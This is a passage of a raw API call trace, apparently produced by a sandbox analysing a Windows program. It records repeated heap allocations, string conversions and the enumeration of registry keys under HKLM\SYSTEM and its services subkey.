RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0247.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.874] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0247.874] RegCloseKey (hKey=0x80000002) returned 0x0 [0247.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0247.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0247.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0247.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0247.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0247.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0247.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0247.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0247.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0247.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0247.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0247.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0247.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0247.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0247.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0247.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0247.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0247.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0247.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.876] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0247.876] RegCloseKey (hKey=0x154) returned 0x0 [0247.876] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0247.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0247.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0247.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0247.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0247.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0247.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0247.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0247.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0247.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0247.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.878] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0247.878] RegCloseKey (hKey=0xc4) returned 0x0 [0247.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0247.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0247.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0247.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0247.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1bf8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0247.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0247.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0247.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f18e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0247.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0247.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0247.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1bf8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0247.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0247.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0247.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f18e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0247.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0247.879] RtlAllocateHeap 